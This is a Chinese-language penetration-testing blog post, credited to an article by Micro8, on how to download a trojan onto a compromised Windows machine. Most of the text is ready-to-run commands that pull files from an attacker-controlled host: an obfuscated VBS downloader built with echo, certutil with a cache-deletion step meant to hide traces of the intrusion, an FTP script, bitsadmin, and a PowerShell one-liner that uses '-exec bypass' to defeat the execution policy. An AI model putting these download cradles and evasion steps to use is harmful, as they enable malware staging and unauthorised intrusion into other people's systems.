在渗透的过程中,令机器上线是一个重要的问题,其实最关键的一步就是如何将我们的木马文件上传到目标机器上。看了Micro8大佬的文章,收获颇多,在此做下记录。
利用vbs进行下载
无论是哪个版本的Windows,都支持vbs。
核心代码:
set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
将其保存为downfile.vbs
以上代码再测试了N次之后终于成功了,中间测试的时候,代码一直编译不成功,解决办法是,将代码复制到notepad++中,之后再使命令存在于一行中再编译即可,去掉多余的换行符。
利用命令下载:
cscript downfile.vbs http://192.168.101.97:8080/dict.txt C:\Windows\Temp\dict.txt
为了更好的写入脚本,我们通常使用echo
来写入脚本。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs
使用vbs的缺点是对https协议不友好
利用certutil进行下载
直接使用命令:
certutil.exe -urlcache -split -f http://192.168.101.97:8080/dict.txt
使用certutil
进行下载,会产生缓存,从而导致入侵的痕迹,所以每次下载之后,都要执行如下命令进行缓存删除:
certutil.exe -urlcache -split -f http://192.168.101.97:8080/dict.txt delete
利用ftp进行下载
echo open 192.168.101.97 21> ftp.txt
echo uftp>> ftp.txt //user
echo uftp>> ftp.txt //password
echo binary >> ftp.txt //bin模式
echo get 1.txt >> ftp.txt
echo bye >> ftp.txt
传输数据时采用二进制形式,可以传送文本和非文本文件。
之后,我们再使用命令运行:
ftp -s:ftp.txt
利用bitsadmin进行下载
BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。
自 windows7 以上版本内置 bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。
bitsadmin /rawreturn /transfer down "http://192.168.101.97:8080/dict.txt" C:\Windows\Temp\77.txt
其中,down
为任务名,可以随意起名。
默认情况下使用bitsadmin下载速度会比较慢,所以下载大文件时需要设置优先级提速。
bitsadmin /rawreturn /transfer down "http://192.168.101.97:8080/dict.txt" C:\Windows\Temp\77.txt
---------------------------------
bitsadmin /setpriority down foreground #提升优先级
比较难过的是,它不支持https。
利用PowerShell进行下载
可以直接使用一句话命令:
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.101.97:8080/dict.txt','C:\Users\user\Desktop\123.txt')
当然,我们也可以使用代码呀:
$Urls = @()
$Urls += "http://192.168.101.97:8080/dict.txt"
$OutPath = "C:\Users\user\Desktop\"
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}
使用方法:powershell -File 1.ps1
在Powershell3.0以后,提供了wget命令,即Invoke-WebRequest
可以使用代码:
$url = "http://192.168.1.115/robots.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
使用方法为:powershell 1.ps1
我还是建议呢,尽量使用一开始的一句话命令下载就好,因为powershell要想执行脚本的话,是得有权限的,而默认是不开权限的!但在一句话中,可以通过
-exec bypass -c
来达到绕过权限的目的!
参考文章:来源于Micro8大佬的文章